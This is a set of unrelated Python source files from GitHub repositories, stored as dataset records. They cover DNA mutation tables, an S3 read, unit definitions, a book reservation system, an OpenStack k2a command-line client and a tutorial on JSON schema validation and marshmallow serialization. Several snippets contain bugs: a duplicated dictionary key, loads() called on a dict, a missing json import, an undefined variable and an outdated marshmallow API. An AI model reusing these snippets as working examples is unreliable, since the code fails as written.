(\"};\\n\")\n\nf.close()\n\n","repo_name":"AkshatJain9/CublinoGame","sub_path":"testwriters/shift.py","file_name":"shift.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"22526389709","text":"complements = {\n \"A\": \"T\",\n \"T\": \"A\",\n \"G\": \"C\",\n \"C\": \"G\",\n \"N\": \"N\",\n \"t\": \"t\",\n \"t\": \"a\",\n \"g\": \"c\",\n \"c\": \"g\",\n \"n\": \"n\",\n}\n\n# Transversion, in molecular biology, refers to a point mutation in DNA\n# in which a single (two ring) purine (A or G) is changed for a (one ring)\n# pyrimidine (T or C), or vice versa.[1] A transversion can be spontaneous,\n# or it can be caused by ionizing radiation or alkylating agents. It can\n# only be reversed by a spontaneous reversion.\ntransversions = {\n \"A\": [\"C\", \"T\"], ## A -> C or T\n \"C\": [\"A\", \"G\"], ## C -> A or G\n \"T\": [\"A\", \"G\"], ## T -> A or G\n \"G\": [\"C\", \"T\"], ## G -> C or T\n \"N\": [\"N\", \"N\"], ## nothing\n}\n\n# Transition, in genetics and molecular biology, refers to a point mutation\n# that changes a purine nucleotide to another purine (A ↔ G), or a pyrimidine\n# nucleotide to another pyrimidine (C ↔ T). Approximately two out of three\n# single nucleotide polymorphisms (SNPs) are transitions.\ntransitions = {\n \"A\": \"G\", ## A -> G\n \"G\": \"A\", ## G -> A\n \"C\": \"T\", ## C -> T\n \"T\": \"C\", ## T -> C\n \"N\": \"N\", ## none\n}\n\natcgn = [\"A\", \"T\", \"C\", \"G\", \"N\"]\n\natcg = [\"A\", \"T\", \"C\", \"G\"]\n","repo_name":"michaeljon/pipeline-builder","sub_path":"tools/read-maker/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39709361948","text":"#getHolding.py\n\n#from yahoo_fin.stock_info import get_data\n\n#amazon_weekly= get_data(\"amzn\", start_date=\"12/04/2009\", end_date=\"12/04/2019\", index_as_date = True, interval=\"1wk\")\n\nimport boto3 \n#import yfinance as yf\nimport nasdaqdatalink as nas\n#tickerFile=\"s3://spk-lambda-in/tickers.json\"\n\ns3=boto3.client('s3')\n#s3.download_file('spk-lambda-in', 'tickers.json', 'temp.json')\ns3_bucket_name= 'spk-lambda-in'\ns3_object_name= 'tickers.json'\nresponse=s3.get_object(Bucket=s3_bucket_name, Key=s3_object_name)\ntickersb=response['Body'].read()\ntickers=tickersb.decode()\n#yesterday=yf.download(tickers, start=\"2022-11-11\")\ndata=nas.get('NASDAQ/AAPL')","repo_name":"spk57/JPPF.jl","sub_path":"src/getHolding.py","file_name":"getHolding.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23835787558","text":"\"\"\"\nSmall module to manage units and dimension analysis\n\"\"\"\nimport quantities as pq\n\ntemperature = 300 * pq.K\nkT = pq.UnitQuantity(\"k_B T\", definition=300 * pq.K * 1 * pq.constants.k, symbol=\"kT\")\n\nlength = pq.um\nforce = pq.UnitQuantity(\"nanonewton\", definition=1e-9 * pq.N, symbol=\"nN\")\nenergy = pq.UnitQuantity(\"femtojoules\", definition=force * length, symbol=\"fJ\")\ntime = pq.s\n\nline_tension = energy / length\nline_elasticity = energy / length**2\nline_viscosity = force * time / length\n\n\narea = length**2\narea_tension = energy / area\narea_elasticity = energy / area**2\n\nvol = length**3\nvol_tension = energy / vol\nvol_elasticity = energy / vol**2\n","repo_name":"DamCB/tyssue","sub_path":"tyssue/dynamics/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"61"} +{"seq_id":"37703458539","text":"from itertools import count\n\nclass Reservation(object):\n _ids = count(0)\n \n def __init__(self, from_, to, book, for_):\n self._id = next(Reservation._ids)\n self._from = from_\n self._to = to \n self._book = book\n self._for = for_\n self._changes = 0\n\n def overlapping(self, other):\n return (self._book == other._book and self._to >= other._from \n and self._from <= other._to)\n \n def includes(self, date):\n return (self._from <= date <= self._to) \n \n def identify(self, date, book, for_):\n if book != self._book: \n return (False, \"book\")\n if for_!=self._for:\n return (False, \"for\")\n if not self.includes(date):\n return (False, \"date\")\n return (True, \"\") \n \n def change_for(self, for_):\n self._changes += 1\n self._for = for_\n\n\nclass Reservation_Messages(Reservation):\n def __init__(self, from_, to, book, for_):\n super().__init__(from_, to, book, for_)\n self._message = F'Created a reservation with id {self._id} of {self._book}'\n self._message += F' from {self._from} to {self._to} for {self._for}.'\n\n def overlapping(self, other):\n result = super().overlapping(other)\n str = 'do'\n if not result:\n str = 'do not'\n self._message = F'Reservations {self._id} and {other._id} {str} overlap'\n return result\n \n def includes(self, date):\n result = super().includes(date)\n str = 'includes'\n if not result:\n str = 'does not include'\n self._message = F'Reservation {self._id} {str} {date}'\n return result \n\n def identify(self, date, book, for_):\n result = super().identify(date, book, for_)\n if result[0]:\n self._message = F'Reservation {self._id} is valid {for_} of {book} on {date}.'\n else:\n if result[1] == \"book\": \n self._message = F'Reservation {self._id} reserves {self._book} not {book}.'\n elif result[1] == \"for\":\n self._message = F'Reservation {self._id} is for {self._for} not {for_}.'\n elif result[1] == \"date\":\n self._message = F'Reservation {self._id} is from {self._from} to {self._to} which '\n self._message += F'does not include {date}.'\n return result \n \n def change_for(self, for_):\n old_for = self._for\n result = super().change_for(for_)\n self._message = F'Reservation {self._id} moved from {old_for} to {for_}'\n return result\n\n\nclass Reservation_Logging_Messages(Reservation_Messages):\n def __init__(self, from_, to, book, for_):\n super().__init__(from_, to, book, for_)\n print(super()._message)\n\n def overlapping(self, other):\n result = super().overlapping(other)\n print(super()._message)\n return result\n \n def includes(self, date):\n result = super().includes(date)\n print(super()._message)\n return result \n\n def identify(self, date, book, for_):\n result = super().identify(date, book, for_)\n print(super()._message)\n return result \n \n def change_for(self, for_):\n result = super().change_for(for_)\n print(super()._message)\n return result\n\n\nclass Library(object):\n def __init__(self, reservations_factory = Reservation):\n self._users = set()\n self._books = {}\n self._reservations = []\n self._reservations_factory = reservations_factory\n \n def add_user(self, name):\n if name in self._users:\n return False\n self._users.add(name)\n return True\n\n def add_book(self, name):\n self._books[name] = self._books.get(name, 0) + 1\n\n def reserve_book(self, user, book, date_from, date_to):\n book_count = self._books.get(book, 0)\n if user not in self._users:\n return (False, \"user\")\n if date_from > date_to:\n return (False, \"date\")\n if book_count == 0:\n return (False, \"book_count\")\n desired_reservation = self._reservations_factory(date_from, date_to, book, user)\n relevant_reservations = [res for res in self._reservations\n if desired_reservation.overlapping(res)] + [desired_reservation]\n for from_ in [res._from for res in relevant_reservations]:\n if desired_reservation.includes(from_):\n if sum([rec.includes(from_) for rec in relevant_reservations]) > book_count:\n return (False, \"reserved\")\n self._reservations+=[desired_reservation]\n self._reservations.sort(key=lambda x:x._from)\n return (True, desired_reservation._id)\n\n def check_reservation(self, user, book, date):\n return any([res.identify(date, book, user)[0] for res in self._reservations]) \n\n def change_reservation(self, user, book, date, new_user):\n relevant_reservations = [res for res in self._reservations \n if res.identify(date, book, user)[0]]\n if not relevant_reservations: \n return (False, \"not_relevant\")\n if new_user not in self._users:\n return (False, \"user\") \n relevant_reservations[0].change_for(new_user)\n return (True, \"\") \n\n\nclass Library_Messages(Library):\n def __init__(self, reservations_factory = Reservation):\n super().__init__(reservations_factory)\n self._message = F'Library created.'\n \n def add_user(self, name):\n result = super().add_user(name)\n if result:\n self._message = F'User {name} created.'\n else:\n self._message = F'User not created, user with name {name} already exists.'\n return result\n\n def add_book(self, name):\n result = super().add_book(name)\n self._message = F'Book {name} added. We have {self._books[name]} coppies of the book.'\n return result\n\n def reserve_book(self, user, book, date_from, date_to):\n result = super().reserve_book(user, book, date_from, date_to)\n if result[0]:\n self._message = F'Reservation {result[1]} included.'\n else:\n self._message = F'We cannot reserve book {book} for {user} from {date_from} to {date_to}. '\n if result[1] == \"user\":\n self._message += F'User does not exist.'\n elif result[1] == \"date\":\n self._message += F'Incorrect dates.'\n elif result[1] == \"book_count\":\n self._message += F'We do not have that book.'\n elif result[1] == \"reserved\":\n self._message += F'We do not have enough books.'\n return result\n\n def check_reservation(self, user, book, date):\n result = super().check_reservation(user, book, date)\n str = 'exists'\n if not result:\n str = 'does not exist'\n self._message = F'Reservation for {user} of {book} on {date} {str}.'\n return result \n\n def change_reservation(self, user, book, date, new_user):\n result = super().change_reservation(user, book, date, new_user)\n if result[0]:\n self._message = F'Reservation for {user} of {book} on {date} changed to {new_user}.'\n else:\n if result[1] == \"user\":\n self._message = F'Cannot change the reservation as {new_user} does not exist.'\n elif result[1] == \"not_relevant\":\n self._message = F'Reservation for {user} of {book} on {date} does not exist.'\n return result \n\nclass Library_Logging_Messages(Library_Messages):\n def __init__(self, reservations_factory = Reservation):\n super().__init__(reservations_factory)\n print(super()._message)\n \n def add_user(self, name):\n result = super().add_user(name)\n print(super()._message)\n return result\n\n def add_book(self, name):\n result = super().add_book(name)\n print(super()._message)\n return result\n\n def reserve_book(self, user, book, date_from, date_to):\n result = super().reserve_book(user, book, date_from, date_to)\n print(super()._message)\n return result\n\n def check_reservation(self, user, book, date):\n result = super().check_reservation(user, book, date)\n print(super()._message)\n return result \n\n def change_reservation(self, user, book, date, new_user):\n result = super().change_reservation(user, book, date, new_user)\n print(super()._message)\n return result \n","repo_name":"RicsiToth/PTS2","sub_path":"library_mixed.py","file_name":"library_mixed.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34610612145","text":"# from re import *\n# rule='\\w{1,64}@gmail.com'\n# variable=(input(\"enter gmail id\"))\n# matcher=fullmatch(rule,variable)\n# if matcher!=None:\n# print(\"valid\")\n# else:\n# print(\"invalid\")\nfrom re import *\nrule='\\d{10}'\nvariable=(input(\"enter variable\"))\nmatcher=fullmatch(rule,variable)\nif matcher!=None:\n print(\"valid\")\nelse:\n print(\"invalid\")\n","repo_name":"Anugvc/web-dev","sub_path":"luminarpython/regularexprsn/regularexpn4.py","file_name":"regularexpn4.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41483322732","text":"from __future__ import print_function\n\nfrom paxes_cinder.k2aclient import _\nfrom paxes_cinder.k2aclient import client\nfrom paxes_cinder.k2aclient import exceptions as exc\nfrom paxes_cinder.k2aclient.openstack.common import strutils\nfrom paxes_cinder.k2aclient import utils\nfrom paxes_cinder.k2aclient.v1 import shell as shell_v1\n\nimport argparse\nimport os\nimport sys\nimport logging\nimport logging.handlers\n\nDEFAULT_K2A_API_VERSION = \"1\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass K2aClientArgumentParser(argparse.ArgumentParser):\n\n def __init__(self, *args, **kwargs):\n super(K2aClientArgumentParser, self).__init__(*args, **kwargs)\n\n def error(self, message):\n \"\"\"error(message: string)\n\n Prints a usage message incorporating the message to stderr and\n exits.\n \"\"\"\n self.print_usage(sys.stderr)\n #FIXME(lzyeval): if changes occur in argparse.ArgParser._check_value\n choose_from = ' (choose from'\n progparts = self.prog.partition(' ')\n msg = _(\"k2aclient:\"\n \" error: %(errmsg)s\\nTry '%(mainp)s help %(subp)s'\"\n \" for more information.\\n\")\n msg = msg %\\\n {'errmsg': message.split(choose_from)[0],\n 'mainp': progparts[0],\n 'subp': progparts[2]}\n self.exit(2, msg)\n\n\nclass OpenStackK2Shell(object):\n\n def __init__(self):\n\n self._log_varlog = None\n self._log_console = None\n\n def get_base_parser(self):\n parser = K2aClientArgumentParser(\n prog='k2a',\n description=__doc__.strip(),\n epilog=_('See \"k2a help COMMAND\" '\n 'for help on a specific command.'),\n add_help=False,\n formatter_class=OpenStackHelpFormatter,\n )\n\n # Global arguments\n parser.add_argument('-h', '--help',\n action='store_true',\n help=argparse.SUPPRESS)\n\n# TODO :bh: add version that conform's w/ PowerVC\n# parser.add_argument('--version',\n# action='version',\n# version=client.__version__)\n\n parser.add_argument('--debug',\n action='store_true',\n default=utils.env('K2_DEBUG',\n default=False),\n help=_('Print debugging output'))\n\n parser.add_argument('--api-version',\n metavar='<api-ver>',\n default=utils.env('K2A_API_VERSION',\n default=DEFAULT_K2A_API_VERSION),\n help=_('Accepts 1,defaults '\n 'to env[K2A_API_VERSION].'))\n\n msg = _('Number of retries when attempting k2 operations.')\n parser.add_argument('--retries',\n metavar='<retries>',\n type=int,\n default=0,\n help=msg)\n\n parser.add_argument('--k2-url',\n metavar='<k2-url>',\n default=utils.env('K2_URL'),\n help=_('url for k2 hmc, defaults '\n 'to env[K2_URL].'))\n\n parser.add_argument('--k2-username',\n metavar='<k2-username>',\n default=utils.env('K2_USERNAME'),\n help=_('k2 username, defaults '\n 'to env[K2_USERNAME].'))\n\n parser.add_argument('--k2-password',\n metavar='<k2-password>',\n default=utils.env('K2_PASSWORD'),\n help=_('k2 password, defaults '\n 'to env[K2_PASSWORD].'))\n\n parser.add_argument('--k2-auditmemento',\n metavar='<k2-auditmemento>',\n default=utils.env('K2_AUDITMEMENTO',\n default='k2a'),\n help=_('k2 auditmemento, defaults '\n 'to, if set, env[K2_AUDITMEMENTO], '\n 'otherwise to \"k2a\".'))\n\n parser.add_argument('--k2-certpath',\n metavar='<k2-certpath>',\n default=utils.env('K2_CERTPATH', default=None),\n help=_('k2 certpath, defaults '\n 'to, if set, env[K2_CERTPATH], '\n 'otherwise to None.'))\n\n parser.add_argument('--logdir',\n metavar='<logdir>',\n default=utils.env('K2A_LOGDIR', default=None),\n help=_('log directory, defaults '\n 'to, if set, env[K2A_LOGDIR], '\n 'otherwise to None. None turns'\n 'off file logging'))\n\n# parser.add_argument('--excdir',\n# metavar='<excdir>',\n# default=utils.env('K2A_EXCDIR', default=None),\n# help='directory where k2aexc subdirectory'\n# 'will be placed'\n# 'ie \"<excdir>/k2aexc\", '\n# 'defaults '\n# 'to, if set, env[K2A_EXCDIR], '\n# 'otherwise to None. None turns'\n# 'off exception logging')\n\n parser.add_argument('--excdir',\n metavar='<excdir>',\n default=utils.env('K2A_EXCDIR', default=\"/tmp\"),\n help=_('directory where k2aexc subdirectory'\n 'will be placed'\n 'ie \"<excdir>/k2aexc\", '\n 'defaults '\n 'to, if set, env[K2A_EXCDIR], '\n 'otherwise to /tmp'))\n\n return parser\n\n def get_subcommand_parser(self, version):\n parser = self.get_base_parser()\n\n self.subcommands = {}\n subparsers = parser.add_subparsers(metavar='<subcommand>')\n\n try:\n actions_module = {\n '1': shell_v1\n }[version]\n except KeyError:\n actions_module = shell_v1\n\n self._find_actions(subparsers, actions_module)\n self._find_actions(subparsers, self)\n\n self._add_bash_completion_subparser(subparsers)\n\n return parser\n\n def _add_bash_completion_subparser(self, subparsers):\n subparser = subparsers.add_parser(\n 'bash_completion',\n add_help=False,\n formatter_class=OpenStackHelpFormatter)\n\n self.subcommands['bash_completion'] = subparser\n subparser.set_defaults(func=self.do_bash_completion)\n\n def _find_actions(self, subparsers, actions_module):\n for attr in (a for a in dir(actions_module) if a.startswith('do_')):\n # I prefer to be hypen-separated instead of underscores.\n command = attr[3:].replace('_', '-')\n callback = getattr(actions_module, attr)\n desc = callback.__doc__ or ''\n hlp = desc.strip().split('\\n')[0]\n arguments = getattr(callback, 'arguments', [])\n\n subparser = subparsers.add_parser(\n command,\n help=hlp,\n description=desc,\n add_help=False,\n formatter_class=OpenStackHelpFormatter)\n\n subparser.add_argument('-h', '--help',\n action='help',\n help=argparse.SUPPRESS,)\n\n self.subcommands[command] = subparser\n for (args, kwargs) in arguments:\n subparser.add_argument(*args, **kwargs)\n subparser.set_defaults(func=callback)\n\n def _setup_logging(self, loglevel, logdir=None):\n file_loglevel = loglevel\n console_loglevel = loglevel\n\n # consistent format\n lf = logging.Formatter\n logformatter = \\\n lf('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n root_logger = logging.getLogger()\n\n # File logging\n if logdir is not None:\n logfn = \"ibm-k2a.log\"\n rfh = logging.handlers.RotatingFileHandler\n log_varlog = rfh(os.path.join(logdir, logfn),\n maxBytes=5 * 1024 * 1024,\n backupCount=5)\n log_varlog.setLevel(file_loglevel)\n log_varlog.setFormatter(logformatter)\n self._log_varlog = log_varlog\n root_logger.addHandler(log_varlog)\n\n # Console logging to STDERR\n log_console = logging.StreamHandler()\n log_console.setLevel(console_loglevel)\n log_console.setFormatter(logformatter)\n self._log_console = log_console\n root_logger.addHandler(log_console)\n\n root_logger.setLevel(logging.DEBUG)\n\n def main(self, argv):\n\n # Parse args once to find version and debug settings\n parser = self.get_base_parser()\n (options, _) = parser.parse_known_args(argv)\n\n ########\n # setup logging\n loglevel = logging.WARN\n if options.debug:\n loglevel = logging.DEBUG\n self._setup_logging(loglevel, logdir=options.logdir)\n\n subcommand_parser = self.get_subcommand_parser(\n options.api_version)\n self.parser = subcommand_parser\n\n if options.help or not argv:\n subcommand_parser.print_help()\n return 0\n\n args = subcommand_parser.parse_args(argv)\n\n # Short-circuit and deal with help right away.\n if args.func == self.do_help:\n self.do_help(args)\n return 0\n elif args.func == self.do_bash_completion:\n self.do_bash_completion(args)\n return 0\n\n (k2_url,\n k2_username,\n k2_password,\n k2_auditmemento,\n k2_certpath) = (args.k2_url,\n args.k2_username,\n args.k2_password,\n args.k2_auditmemento,\n args.k2_certpath)\n\n if not k2_url:\n raise exc.CommandError(\n _(\"k2aclient:\"\n \" you must provide a url for a k2 hmc\"\n \" via either --k2-url or env[K2_URL]\"))\n\n if not k2_username:\n raise exc.CommandError(\n _(\"k2aclient:\"\n \" you must provide a k2 username\"\n \" via either --k2-username or env[K2_USERNAME]\"))\n\n if not k2_password:\n raise exc.CommandError(\n _(\"k2aclient:\"\n \" you must provide a k2 password\"\n \" via either --k2-password or via\"\n \" env[K2_PASSWORD]\"))\n\n self.cs = client.Client(options.api_version,\n k2_url,\n k2_username,\n k2_password,\n k2_auditmemento,\n k2_certpath,\n retries=options.retries,\n excdir=options.excdir)\n\n args.func(self.cs, args)\n\n def do_bash_completion(self, args):\n \"\"\"Print arguments for bash_completion.\n\n Prints all of the commands and options to stdout so that the\n cinder.bash_completion script doesn't have to hard code them.\n \"\"\"\n commands = set()\n options = set()\n for sc_str, sc in self.subcommands.items():\n commands.add(sc_str)\n for option in sc._optionals._option_string_actions.keys():\n options.add(option)\n\n commands.remove('bash-completion')\n commands.remove('bash_completion')\n print (' '.join(commands | options))\n\n @utils.arg('command', metavar='<subcommand>', nargs='?',\n help=_('Display help for %s') % \"<subcommand>\")\n def do_help(self, args):\n \"\"\"\n Display help about this program or one of its subcommands.\n \"\"\"\n if args.command:\n if args.command in self.subcommands:\n self.subcommands[args.command].print_help()\n else:\n msg = _(\"k2aclient:\"\n \">%s< is not a valid subcommand\")\n raise exc.CommandError(msg % args.command)\n else:\n self.parser.print_help()\n\n\n# Somebody is picky about their shell help.\nclass OpenStackHelpFormatter(argparse.HelpFormatter):\n def start_section(self, heading):\n # Title-case the headings\n heading = '%s%s' % (heading[0].upper(), heading[1:],)\n super(OpenStackHelpFormatter, self).start_section(heading)\n\n\ndef main():\n rc = 0\n try:\n OpenStackK2Shell().main(map(strutils.safe_decode, sys.argv[1:]))\n except KeyboardInterrupt:\n msg = _(\"... terminating k2a client\")\n print(msg, file=sys.stderr)\n rc = 130\n except Exception as e:\n logger.debug(e, exc_info=1)\n msg = _(\"ERROR: type: >%(type)s<, msg: >%(e)s<\")\n print(msg % {\"type\": type(e), \"e\": e, }, file=sys.stderr,)\n rc = 1\n\n sys.exit(rc)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"windskyer/k_cinder","sub_path":"paxes_cinder/k2aclient/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":13566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41261785095","text":"'''\nHow to Ensure that the JSON Encoding is being done as per a schema?\nThis become essential when writing our own custom JSONDecoder\n\n-> Python DOES NOT have any in-built way to fix this. So, 3rd party tools are being used for this.\n-> These 3rd Party tools not only help in defining Schema for Encoding, but they also help in Decoding the JSON as well.\n\nFor this doc, we will use the Schema-Standard mentioned in the documentation at https://json-schema.org\n\nTo make sure that the 'JSON String' is following our Schema, we use\n'jsonschema' library\n\t-> pip install jsonschema\n\n******** 'jsonschema' Library is just for VALIDATING the Schema. ********\n\nAnd we can use Methods like,\n\t-> from jsonschema import validate\n\t-> from jsonschema.exceptions import ValidationError\n\t-> from json import loads, dumps, JSONDecodeError\n'''\nfrom jsonschema import validate\nfrom jsonschema.exceptions import ValidationError\nfrom json import loads, dumps, JSONDecodeError\n\n\n# Schema Def.\n'''\n{\n\t\"firstName\": \"...\",\n\t\"middleInitial\": \"...\",\n\t\"lastName\": \"...\",\n\t\"age\": \"...\"\n}\n'''\n# 'type = object' means 'person_schema' is going to be a dictionary. We can have 'List' as well.\n# properties = they are the Keys of the Dictionary\nperson_schema ={\n\t\"type\": \"object\",\n\t\"properties\": {\n\t\t\"firstName\": {\"type\": \"string\"},\n\t\t\"middleInitial\": {\"type\": \"string\"},\n\t\t\"lastName\": {\"type\": \"string\"},\n\t\t\"age\": {\"type\": \"number\"},\n\t}\n}\n# Now, this doesn't mean that the 'JSON String':\n#\t-> cannot have other 'Keys' in it.\n#\t-> Needs to have all of the 'Keys' mentioned in the Schema\n# The 'Keys' mentioned in Schema need to have the value of the mentioned 'Type', to be a valid 'JSON String' for this Schema\n\n# Valid\np1 = {\n\t\"firstName\": \"Ratul\",\n\t\"middleInitial\": \"\",\n\t\"lastName\": \"Aggarwal\",\n\t\"age\": 1\n}\n\n# Valid\np2 = {\n\t\"firstName\": \"Ratul\",\n\t\"age\": -10.5\n}\n\n# Invalid\np3 = {\n\t\"firstName\": \"Ratul\",\n\t\"middleInitial\": \"DC\",\n\t\"lastName\": \"Aggarwal\",\n\t\"age\": \"Unknown\"\n}\n\n# Schema with more Rules\n# properties = they are the Keys of the Dictionary\nperson_schema_2 ={\n\t\"type\": \"object\",\n\t\"properties\": {\n\t\t\"firstName\": {\n\t\t\t\"type\": \"string\",\n\t\t\t\"minLength\": 1\n\t\t},\n\t\t\"middleInitial\": {\n\t\t\t\"type\": \"string\",\n\t\t\t\"maxLength\": 1\n\t\t},\n\t\t\"lastName\": {\n\t\t\t\"type\": \"string\",\n\t\t\t\"minLength\": 1\n\t\t},\n\t\t\"age\": {\n\t\t\t\"type\": \"number\",\n\t\t\t\"minimum\": 0\n\t\t},\n\t\t\"eyeColor\": {\n\t\t\t\"type\": \"string\",\n\t\t\t# Eyecolor needs to be string but from the following lost only\n\t\t\t\"enum\": [\"amber\", \"green\", \"red\", \"black\", \"blue\"]\n\t\t},\n\t\t\"address\": {\n\t\t\t\"type\": \"object\",\n\t\t\t\"properties\": {\n\t\t\t\t\"line_1\": {\n\t\t\t\t\t\"type\": \"string\",\n\t\t\t\t\t\"minLength\": 5\n\t\t\t\t},\n\t\t\t\t\"line_2\": {\n\t\t\t\t\t\"type\": \"string\",\n\t\t\t\t\t# Minimum Length Not defined same as below\n\t\t\t\t\t#\"minLength\": 0\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t# The Fields the are required, rest are Optional. By-Default, this list is empty, so everything is optional\n\t\"required\": [\"firstName\", \"lastName\"]\n}\n\n# Valid\np1_1 = {\n\t\"firstName\": \"Ratul\",\n\t\"middleInitial\": \"\",\n\t\"lastName\": \"Aggarwal\",\n\t\"age\": 1\n}\n\n# Invalid\np2_1 = {\n\t\"firstName\": \"Ratul\",\n\t\"age\": -10.5\n}\n\n# Invalid\np3_1 = {\n\t\"firstName\": \"Ratul\",\n\t\"middleInitial\": \"DC\",\n\t\"lastName\": \"Aggarwal\",\n\t\"age\": \"Unknown\"\n}\n\njson_doc = p1_1\nprint('JSON Object: ', json_doc)\n\ntry:\n\tvalidate(loads(json_doc), person_schema_2)\nexcept JSONDecodeError as exc:\n\tprint('Invalid Json: ', exc)\nexcept ValidationError as exc:\n\tprint('Validation Error: ', exc)\nelse:\n\t# if No error\n\tprint('JSON is Valid and confirms to Schema')\n\n# But for the invalid json like p2_1, exception will only give us the '1st' error that was encountered while checking the schema.\n# For Validator to check for all the errors and give us the list, we do following\n\nfrom jsonschema import Draft4Validator\n\n\nvalidator = Draft4Validator(person_schema_2)\n\nprint('Error List is:')\nfor errors in validator.iter_errors(loads(json_doc)):\n\tprint('errors', end=\"\\n-----------\\n\")\n\nprint('\\n\\n-------------------------------------------- Marshalling using Marshmallow --------------------------------------------\\n')\n'''\nDownload marshmallow from\n\t-> https://marshmallow.readthedocs.io/en/3.0/\n\nIt not only does:\n\t-> Schema Validation for JSON\n\t-> Serailize / Deserialize Objects\n\n*********** But It can also convert 1 object into Other Object.\n\t\t\tLike converting 1 Dictionary to another Dictionary\n'''\n\nfrom datetime import date\nfrom marshmallow import Schema, fields\n\nclass Person:\n\tdef __init__(self, firstName, lastName, dob):\n\t\tself.firstName = firstName,\n\t\tself.lastName = lastName,\n\t\tself.dob = dob\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.firstName},{self.lastName},{self.dob})'\n\np1 = Person('John', 'Cleese', date(1988,2,20))\nprint('Person object: ', p1)\n\n# For Deserializing, we NEED TO HAVE a schema for the JSON Document.\nclass PersonSchema(Schema):\n\tfirst_name = fields.Str()\n\tlast_name = fields.Str()\n\tdob = fields.Date()\n\n# Now, we can create a PersonSchema instance that can handle any 'Object' that has 'Firstname', 'Lastname', and 'dob'\nperson_schema = PersonSchema()\n\n# Now, we can use the instance of PersonSchema (person_schema) to Serialize 'Objects' into 'JSON Strings'\nprint('Serialized Person Object as per schema: ', person_schema.dump(p1))\n# Now, the output of this will be a 'MarshalResult' object\n# >> MarshalResult(data={'last_name': 'Cleese', 'dob': '1988-2-20', 'first_name': 'John'}, errors={})\n# 'data' and 'errors' are of type = Dict\n\n# To get the Data Dictionary we want\nprint('Serialized Person Object Dictionary as per schema: ', person_schema.dump(p1).data)\n\n# Now, we can serialize this 'Schema-Serialized-Dictionary-Obejct into 'JSON-String'\ndata = person_schema.dump(p1).data\nprint('JSON Serialize Dict Object: ', json.dumps(data))\n\n# dumps() of Marshmallow will do the serialization that json.dumps() does.\nprint('JSON Serialize Dict Object by Marshmallow: ', person_schema.dumps(p1).data)\n\nprint('\\n----------- serializing NamedTuple object instead of Dictionary Object -----------\\n')\nfrom collections import namedtuple\n\nPT = namedtuple('PT', 'first_name, last_name, dob')\np2 = PT('Eric', 'Bana', date(1943, 10, 21))\nprint('NamedTuple: ', p2)\nprint('JSON Serialize NamedTuple: ', person_schema.dumps(p2).data)\n\n# If we feed Data to the Schema that is not in the fields, Marshmallow serializer will Ignore it.\nprint('\\n----------- Ignored Data -----------\\n')\nPT2 = namedtuple('PT2', 'first_name, last_name, age')\npt2 = PT2('Michael', 'The Arch-Angel', 500)\nprint('NamedTuple: ', pt2)\nprint('JSON Serialize NamedTuple with ignored data: ', person_schema.dumps(pt2).data)\n\nprint('\\n\\n-------------------------------------------- Selective Serializing --------------------------------------------\\n')\n'''\nSelecting what fields we want in the Serialized Output.\n\nUsecase:\n\t-> When Dealing with MongoDB, we might want to Omit the 'Object_ID' while Serialize the Data defore returning it to someone\n'''\nperson_partial = PersonSchema(only=('first_name', 'last_name'))\nprint('Partial serializing: ', person_partial.dumps(p1).data)\n\n# OR\n\nperson_partial_2 = PersonSchema(exclude=['age'])\nprint('Partial serializing: ', person_partial_2.dumps(p1).data)\n\nprint('\\n\\n-------------------------------------------- Complex Examples --------------------------------------------\\n')\n\nclass Movie:\n\tdef __init__(self, title, year, actors):\n\t\tself.title = title,\n\t\tself.year = year,\n\t\tself.actors = actors\n\n\tdef __repr__(self):\n\t\treturn f'Person({self.title},{self.year},{self.actors})'\n\nclass MovieSchema(Schema):\n\ttitle = fields.Str()\n\tyear = fields.Integer()\n\tactors = fields.Nested(PersonSchema, many=True)\n\nm1 = Movie('Blade Runner', 1982, [a1, PT('Michael', 'Trovalt', date(1956,5,1)), PT('John', 'Legion', date(1960,7,20))])\nprint('Movie object: ', MovieSchema().dumps(m1))\n\n\nprint('\\n\\n-------------------------------------------- Deserializing --------------------------------------------\\n')\n\n\nclass PersonSchema(Schema):\n\tfirst_name = fields.Str()\n\tlast_name = fields.Str()\n\tdob = fields.Date()\n\nperson_schema = PersonSchema()\n\n# This will do convert the 'Dict' in loads to a 'Marshmallow.data' Dict.\n# This will do the initial formatting as per the schema. Like 'dob' will be the datetime.datetime object.\nperson_schema.load(dict(\n\t\t\t\t\tfirst_name='John',\n\t\t\t\t\tlast_name='Cleese',\n\t\t\t\t\tdob='1989-02-20'\n\t\t\t\t))\n\nfrom marshmallow import post_load\n\nclass PersonSchema(Schema):\n\tfirst_name = fields.Str()\n\tlast_name = fields.Str()\n\tdob = fields.Date()\n\n\t# This will convert the Dict to the 'Person' Class object.\n\t# But since Marshmallow doesn't know that whenever it has 'data', it will have to return the 'Person' class object.\n\t# So, we need the decorator to add the functionality where, Marshmallow after 'loading' the 'data', run that 'data'\n\t# through this function and Return THAT value. We want this value.\n\n\t@post_load\n\tdef make_person(self, data):\n\t\treturn Person(**data)\n\nPersonSchema().load(dict(\n\t\t\t\t\tfirst_name='John',\n\t\t\t\t\tlast_name='Cleese',\n\t\t\t\t\tdob='1989-02-20'\n\t\t\t\t))\n# Output at this point will be:\n# >> UnmarshalResult(data=Person(John, Cleese, 1989-2-20), errors={})\n\nclass MovieSchema(Schema):\n\ttitle = fields.Str()\n\tyear = fields.Integer()\n\tactors = 